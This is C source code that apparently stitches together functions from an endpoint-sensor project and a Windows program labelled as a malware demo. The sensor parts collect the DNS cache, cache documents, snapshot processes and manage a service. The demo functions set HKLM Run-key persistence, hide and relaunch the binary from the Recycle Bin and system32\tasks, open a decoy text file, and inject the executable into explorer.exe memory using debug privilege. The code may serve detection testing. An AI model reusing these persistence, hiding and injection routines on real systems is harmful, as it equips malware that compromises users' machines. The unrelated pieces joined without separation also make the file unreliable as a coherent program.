static RVOID checkBootstrap ( ) { HKEY hKeyRoot = HKEY_LOCAL_MACHINE; RWCHAR regKey[] = _WCH( "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ); HKEY hKey = NULL; rpal_debug_info( "opening reg bootstrap key..." ); if( ERROR_SUCCESS == RegOpenKeyExW( hKeyRoot, regKey, 0, KEY_WRITE, &hKey ) ) { rpal_debug_info( "setting bootstrap key to current exe location..." ); if( ERROR_SUCCESS == RegSetValueExW( hKey, _WCH(""), 0, REG_SZ, (RPU8)g_self_path, ( rpal_string_strlen( g_self_path ) + 1 ) * sizeof( RWCHAR ) ) ) { rpal_debug_info( "successfully set bootstrap key!" ); } else { rpal_debug_error( "error setting bootstrap key to current location." ); } RegCloseKey( hKey ); } else { rpal_debug_error( "error opening reg bootstrap key." ); } }
static RVOID relaunchInPermanentLocation ( ) { RPWCHAR bootstrapLocations[] = { _WCH( "%SYSTEMDRIVE%\\$Recycle.Bin\\MALWARE_DEMO_WINDOWS_1.exe" ), _WCH( "%SYSTEMDRIVE%\\RECYCLER\\MALWARE_DEMO_WINDOWS_1.exe" ), _WCH( "%windir%\\system32\\tasks\\MALWARE_DEMO_WINDOWS_1.exe" ), _WCH( "%USERPROFILE%\\MALWARE_DEMO_WINDOWS_1.exe" ) }; RU32 i = 0; STARTUPINFOW startupInfo = {0}; PROCESS_INFORMATION procInfo = {0}; RPWCHAR expandedPath = NULL; for( i = 0; i < ARRAY_N_ELEM( bootstrapLocations ); i++ ) { rpal_debug_info( "trying to move to bootstrap location %d...", i ); rpal_file_delete( bootstrapLocations[ i ], FALSE ); if( rpal_file_move( g_self_path, bootstrapLocations[ i ] ) ) { rpal_debug_info( "successfully moved to bootstrap location!" ); rpal_debug_info( "launching in new location (%ls)...", bootstrapLocations[ i ] ); if( rpal_string_expand( bootstrapLocations[ i ], &expandedPath ) && 0 != CreateProcessW( expandedPath, NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &startupInfo, &procInfo ) ) { rpal_debug_info( "successfully launched from new location." ); } else { rpal_debug_error( "error launching from permanent location: %d.", GetLastError() ); } if( NULL != expandedPath ) { rpal_memory_free( expandedPath ); } break; } else { rpal_debug_warning( "could not move to new bootstrap location, may not have permission..." ); } } }
RBOOL collector_2_init ( HbsState* hbsState, rSequence config ) { RBOOL isSuccess = FALSE; UNREFERENCED_PARAMETER( config ); if( NULL != hbsState ) { #ifdef RPAL_PLATFORM_WINDOWS RWCHAR apiName[] = _WCH( "dnsapi.dll" ); RCHAR funcName1[] = "DnsGetCacheDataTable"; RCHAR funcName2[] = "DnsFree"; if( NULL != ( hDnsApi = LoadLibraryW( (RPWCHAR)&apiName ) ) ) { // TODO: investigate the DnsQuery API on Windows to get the DNS resolutions. if( NULL != ( getCache = (DnsGetCacheDataTable_f)GetProcAddress( hDnsApi, (RPCHAR)&funcName1 ) ) && NULL != ( freeCacheEntry = (DnsFree_f)GetProcAddress( hDnsApi, (RPCHAR)&funcName2 ) ) ) { isSuccess = TRUE; } else { rpal_debug_warning( "failed to get dns undocumented function" ); FreeLibrary( hDnsApi ); } } else { rpal_debug_warning( "failed to load dns api" ); } #elif defined( RPAL_PLATFORM_MACOSX ) isSuccess = TRUE; #endif if( isSuccess ) { isSuccess = FALSE; if( rThreadPool_task( hbsState->hThreadPool, dnsDiffThread, NULL ) ) { isSuccess = TRUE; } } } return isSuccess; }
static RVOID dropDecoyTextFile ( ) { RWCHAR execVerb[] = _WCH( "open" ); RNCHAR decoyText[] = _NC( "To a trained eye, this file is clearly evil.\r\nUnfortunately most users won't see it.\r\nAt the end of the day it won't matter because once you see this, the game is over." ); RWCHAR decoyPath[ MAX_PATH ] = {0}; RU32 i = 0; // Generate new path for the decoy, same as current minus the .exe if( rpal_string_strcpy( decoyPath, g_self_path ) ) { if( 4 < ( i = rpal_string_strlen( decoyPath ) ) ) { decoyPath[ i - 4 ] = 0; if( rpal_file_write( decoyPath, decoyText, rpal_string_strlen( decoyText ), TRUE ) ) { rpal_debug_info( "successfully wrote decoy file: %ls", decoyPath ); rpal_debug_info( "launching text file reader app..." ); if( 32 < (INT)(SIZE_T)ShellExecuteW( NULL, execVerb, decoyPath, NULL, NULL, SW_SHOWNORMAL ) ) { rpal_debug_info( "decoy successfully launched." ); } else { rpal_debug_error( "error launching decoy app." ); } } else { rpal_debug_error( "error writing decoy file." ); } } else { rpal_debug_error( "expecting the current file path to be at least 4, very unexpected!" ); } } }
RBOOL collector_18_init ( HbsState* hbsState, rSequence config ) { RBOOL isSuccess = FALSE; rList extensions = NULL; rList patterns = NULL; RPCHAR strA = NULL; RPCHAR tmpA = NULL; RPWCHAR strW = NULL; RPWCHAR tmpW = NULL; RU32 maxSize = 0; RBOOL isCaseInsensitive = FALSE; if( NULL != hbsState ) { #ifdef RPAL_PLATFORM_WINDOWS // On Windows files and paths are not case sensitive. isCaseInsensitive = TRUE; #endif if( NULL == config || rSequence_getLIST( config, RP_TAGS_EXTENSIONS, &extensions ) || rSequence_getLIST( config, RP_TAGS_PATTERNS, &patterns ) ) { if( NULL != ( cacheMutex = rMutex_create() ) && NULL != ( matcherA = obsLib_new( 0, 0 ) ) && NULL != ( matcherW = obsLib_new( 0, 0 ) ) ) { cacheSize = 0; if( NULL != config && rSequence_getRU32( config, RP_TAGS_MAX_SIZE, &maxSize ) ) { cacheMaxSize = maxSize; } else { cacheMaxSize = MAX_CACHE_SIZE; } if( NULL != ( documentCache = HbsRingBuffer_new( 0, cacheMaxSize ) ) ) { if( NULL == config ) { // As a default we'll cache all new files obsLib_addPattern( matcherA, (RPU8)"", sizeof( RCHAR ), NULL ); obsLib_addPattern( matcherW, (RPU8)_WCH(""), sizeof( RWCHAR ), NULL ); } else { // If a config was provided we'll cache only certain extensions // specified. while( rList_getSTRINGA( extensions, RP_TAGS_EXTENSION, &strA ) ) { if( rpal_string_expand( strA, &tmpA ) ) { obsLib_addStringPatternA( matcherA, tmpA, TRUE, isCaseInsensitive, NULL ); rpal_memory_free( tmpA ); } if( NULL != ( strW = rpal_string_atow( strA ) ) ) { if( rpal_string_expandw( strW, &tmpW ) ) { obsLib_addStringPatternW( matcherW, tmpW, TRUE, isCaseInsensitive, NULL ); rpal_memory_free( tmpW ); } rpal_memory_free( strW ); } } while( rList_getSTRINGW( extensions, RP_TAGS_EXTENSION, &strW ) ) { if( rpal_string_expandw( strW, &tmpW ) ) { obsLib_addStringPatternW( matcherW, tmpW, TRUE, isCaseInsensitive, NULL ); rpal_memory_free( tmpW ); } if( NULL != ( strA = rpal_string_wtoa( strW ) ) ) { if( rpal_string_expand( strA, &tmpA ) ) { obsLib_addStringPatternA( matcherA, tmpA, TRUE, isCaseInsensitive, NULL ); rpal_memory_free( tmpA ); } rpal_memory_free( strA ); } } while( rList_getSTRINGA( patterns, RP_TAGS_STRING_PATTERN, &strA ) ) { if( rpal_string_expand( strA, &tmpA ) ) { obsLib_addStringPatternA( matcherA, tmpA, FALSE, isCaseInsensitive, NULL ); rpal_memory_free( tmpA ); } if( NULL != ( strW = rpal_string_atow( strA ) ) ) { if( rpal_string_expandw( strW, &tmpW ) ) { obsLib_addStringPatternW( matcherW, tmpW, FALSE, isCaseInsensitive, NULL ); rpal_memory_free( tmpW ); } rpal_memory_free( strW ); } } while( rList_getSTRINGW( patterns, RP_TAGS_STRING_PATTERN, &strW ) ) { if( rpal_string_expandw( strW, &tmpW ) ) { obsLib_addStringPatternW( matcherW, tmpW, FALSE, isCaseInsensitive, NULL ); rpal_memory_free( tmpW ); } if( NULL != ( strA = rpal_string_wtoa( strW ) ) ) { if( rpal_string_expand( strA, &tmpA ) ) { obsLib_addStringPatternA( matcherA, tmpA, FALSE, isCaseInsensitive, NULL ); rpal_memory_free( tmpA ); } rpal_memory_free( strA ); } } } if( rQueue_create( &createQueue, _freeEvt, 200 ) && notifications_subscribe( RP_TAGS_NOTIFICATION_FILE_CREATE, NULL, 0, createQueue, NULL ) && notifications_subscribe( RP_TAGS_NOTIFICATION_GET_DOCUMENT_REQ, NULL, 0, NULL, getDocument ) && rThreadPool_task( hbsState->hThreadPool, parseDocuments, NULL ) ) { isSuccess = TRUE; } } } if( !isSuccess ) { notifications_unsubscribe( RP_TAGS_NOTIFICATION_FILE_CREATE, createQueue, NULL ); notifications_unsubscribe( RP_TAGS_NOTIFICATION_GET_DOCUMENT_REQ, NULL, getDocument ); rQueue_free( createQueue ); createQueue = NULL; obsLib_free( matcherA ); obsLib_free( matcherW ); HbsRingBuffer_free( documentCache ); matcherA = NULL; matcherW = NULL; documentCache = NULL; rMutex_free( cacheMutex ); cacheMutex = NULL; } } } return isSuccess; }
static RVOID injectIntoProcess ( ) { RNCHAR strSeDebug[] = _NC( "SeDebugPrivilege" ); processLibProcEntry* procIds = NULL; processLibProcEntry* tmpProcId = NULL; rSequence targetProc = NULL; RU32 targetPid = 0; RPWCHAR procName = NULL; RWCHAR targetProcName[] = _WCH( "EXPLORER.EXE" ); HANDLE hProc = NULL; RU32 selfSize = 0; RPVOID remoteDest = NULL; SIZE_T payloadSize = 0; RPU8 payloadBuff = NULL; rpal_debug_info( "getting debug privilege to inject..." ); if( !Get_Privilege( strSeDebug ) ) { rpal_debug_error( "could not get debug privilege, are we running as admin?" ); return; } rpal_debug_info( "getting process list to find explorer.exe" ); procIds = processLib_getProcessEntries( FALSE ); tmpProcId = procIds; while( NULL != tmpProcId ) { if( NULL != ( targetProc = processLib_getProcessInfo( tmpProcId->pid, NULL ) ) ) { if( rSequence_getSTRINGN( targetProc, RP_TAGS_FILE_PATH, &procName ) ) { rpal_string_toupper( procName ); if( NULL != rpal_string_strstr( procName, targetProcName ) ) { rpal_debug_info( "found the target process: %d", tmpProcId->pid ); targetPid = tmpProcId->pid; } else { rpal_debug_info( "not target process, next..." ); } } else { rpal_debug_warning( "process without file path, odd..." ); } rSequence_free( targetProc ); targetProc = NULL; if( 0 != targetPid ) { break; } } tmpProcId++; } rpal_memory_free( procIds ); if( 0 != targetPid ) { rpal_debug_info( "getting size of self..." ); if( (RU32)(-1) != ( selfSize = rpal_file_getSize( g_self_path, FALSE ) ) ) { rpal_debug_info( "opening target process with right privileges..." ); if( NULL != ( hProc = OpenProcess( PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, targetPid ) ) ) { rpal_debug_info( "allocating required memory in remote process..." ); if( NULL != ( remoteDest = VirtualAllocEx( hProc, NULL, selfSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE ) ) ) { rpal_debug_info( "reading payload to memory before writing it to remote." ); if( rpal_file_read( g_self_path, (RPVOID*)&payloadBuff, (RU32*)&payloadSize, FALSE ) ) { rpal_debug_info( "writing payload to remote process." ); if( WriteProcessMemory( hProc, remoteDest, payloadBuff, payloadSize, &payloadSize ) && payloadSize == selfSize ) { rpal_debug_info( "successfully written payload to remote process. This should look like an injected PE although no thread was started." ); } else { rpal_debug_error( "error writing payload to remote process." ); } rpal_memory_free( payloadBuff ); } else { rpal_debug_error( "error reading ourselves as payload." ); } } else { rpal_debug_error( "error allocating memory in remote process." ); } CloseHandle( hProc ); } else { rpal_debug_error( "error opening process with VM privilges." ); } } else { rpal_debug_error( "error getting size of self." ); } } }
static RU32 uninstallService ( ) { RWCHAR destPath[] = _WCH( "%SYSTEMROOT%\\system32\\rphcp.exe" ); SC_HANDLE hScm = NULL; SC_HANDLE hSvc = NULL; RWCHAR svcName[] = { _SERVICE_NAMEW }; SERVICE_STATUS svcStatus = { 0 }; RU32 nRetries = 10; rpal_debug_info( "uninstalling service" ); if( NULL != ( hScm = OpenSCManagerA( NULL, NULL, SC_MANAGER_ALL_ACCESS ) ) ) { if( NULL != ( hSvc = OpenServiceW( hScm, svcName, SERVICE_STOP | SERVICE_QUERY_STATUS | DELETE ) ) ) { if( ControlService( hSvc, SERVICE_CONTROL_STOP, &svcStatus ) ) { while( SERVICE_STOPPED != svcStatus.dwCurrentState && 0 != nRetries ) { rpal_debug_error( "waiting for service to stop..." ); rpal_thread_sleep( 1000 ); if( !QueryServiceStatus( hSvc, &svcStatus ) ) { break; } nRetries--; } if( 0 == nRetries ) { rpal_debug_error( "timed out waiting for service to stop, moving on..." ); } else { rpal_debug_info( "service stopped" ); } } else { rpal_debug_error( "could not stop service: %d", GetLastError() ); } if( DeleteService( hSvc ) ) { rpal_debug_info( "service deleted" ); } else { rpal_debug_error( "could not delete service: %d", GetLastError() ); } CloseServiceHandle( hSvc ); } else { rpal_debug_error( "could not open service: %d", GetLastError() ); } CloseServiceHandle( hScm ); } else { rpal_debug_error( "could not open SCM: %d", GetLastError() ); } rpal_thread_sleep( MSEC_FROM_SEC( 1 ) ); if( rpal_file_delete( destPath, FALSE ) ) { rpal_debug_info( "service executable deleted" ); } else { rpal_debug_error( "could not delete service executable: %d", GetLastError() ); } return GetLastError(); }
static RU32 installService ( ) { HMODULE hModule = NULL; RWCHAR curPath[ RPAL_MAX_PATH ] = { 0 }; RWCHAR destPath[] = _WCH( "%SYSTEMROOT%\\system32\\rphcp.exe" ); RWCHAR svcPath[] = _WCH( "\"%SYSTEMROOT%\\system32\\rphcp.exe\" -w" ); SC_HANDLE hScm = NULL; SC_HANDLE hSvc = NULL; RWCHAR svcName[] = { _SERVICE_NAMEW }; RWCHAR svcDisplay[] = { _WCH( "rp_HCP_Svc" ) }; rpal_debug_info( "installing service" ); hModule = GetModuleHandleW( NULL ); if( NULL != hModule ) { if( ARRAY_N_ELEM( curPath ) > GetModuleFileNameW( hModule, curPath, ARRAY_N_ELEM( curPath ) ) ) { if( rpal_file_copy( curPath, destPath ) ) { if( NULL != ( hScm = OpenSCManagerA( NULL, NULL, SC_MANAGER_CREATE_SERVICE ) ) ) { if( NULL != ( hSvc = CreateServiceW( hScm, svcName, svcDisplay, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, svcPath, NULL, NULL, NULL, NULL, _WCH( "" ) ) ) ) { if( StartService( hSvc, 0, NULL ) ) { // Emitting as error level to make sure it's displayed in release. rpal_debug_error( "service installer!" ); return 0; } else { rpal_debug_error( "could not start service: %d", GetLastError() ); } CloseServiceHandle( hSvc ); } else { rpal_debug_error( "could not create service in SCM: %d", GetLastError() ); } CloseServiceHandle( hScm ); } else { rpal_debug_error( "could not open SCM: %d", GetLastError() ); } } else { rpal_debug_error( "could not move executable to service location: %d", GetLastError() ); } } else { rpal_debug_error( "could not get current executable path: %d", GetLastError() ); } CloseHandle( hModule ); } else { rpal_debug_error( "could not get current executable handle: %d", GetLastError() ); } return GetLastError(); }
static RBOOL getSnapshot ( processEntry* toSnapshot ) { RBOOL isSuccess = FALSE; RU32 i = 0; if( NULL != toSnapshot ) { rpal_memory_zero( toSnapshot, sizeof( g_snapshot_1 ) ); } if( NULL != toSnapshot ) { #ifdef RPAL_PLATFORM_WINDOWS HANDLE hSnapshot = NULL; PROCESSENTRY32W procEntry = { 0 }; procEntry.dwSize = sizeof( procEntry ); if( INVALID_HANDLE_VALUE != ( hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ) ) ) { if( Process32FirstW( hSnapshot, &procEntry ) ) { isSuccess = TRUE; do { if( 0 == procEntry.th32ProcessID ) { continue; } toSnapshot[ i ].pid = procEntry.th32ProcessID; toSnapshot[ i ].ppid = procEntry.th32ParentProcessID; i++; } while( Process32NextW( hSnapshot, &procEntry ) && MAX_SNAPSHOT_SIZE > i ); } CloseHandle( hSnapshot ); } #elif defined( RPAL_PLATFORM_LINUX ) RWCHAR procDir[] = _WCH( "/proc/" ); rDir hProcDir = NULL; rFileInfo finfo = {0}; if( rDir_open( (RPWCHAR)&procDir, &hProcDir ) ) { isSuccess = TRUE; while( rDir_next( hProcDir, &finfo ) && MAX_SNAPSHOT_SIZE > i ) { if( rpal_string_wtoi( (RPWCHAR)finfo.fileName, &( toSnapshot[ i ].pid ) ) && 0 != toSnapshot[ i ].pid ) { i++; } } rDir_close( hProcDir ); } #elif defined( RPAL_PLATFORM_MACOSX ) int mib[] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL }; struct kinfo_proc* infos = NULL; size_t size = 0; int ret = 0; int j = 0; if( 0 == ( ret = sysctl( mib, ARRAY_N_ELEM( mib ), infos, &size, NULL, 0 ) ) ) { if( NULL != ( infos = rpal_memory_alloc( size ) ) ) { while( 0 != ( ret = sysctl( mib, ARRAY_N_ELEM( mib ), infos, &size, NULL, 0 ) ) && ENOMEM == errno ) { if( NULL == ( infos = rpal_memory_realloc( infos, size ) ) ) { break; } } } } if( 0 == ret && NULL != infos ) { isSuccess = TRUE; size = size / sizeof( struct kinfo_proc ); for( j = 0; j < size; j++ ) { toSnapshot[ i ].pid = infos[ j ].kp_proc.p_pid; toSnapshot[ i ].ppid = infos[ j ].kp_eproc.e_ppid; i++; } if( NULL != infos ) { rpal_memory_free( infos ); infos = NULL; } } #endif } return isSuccess; }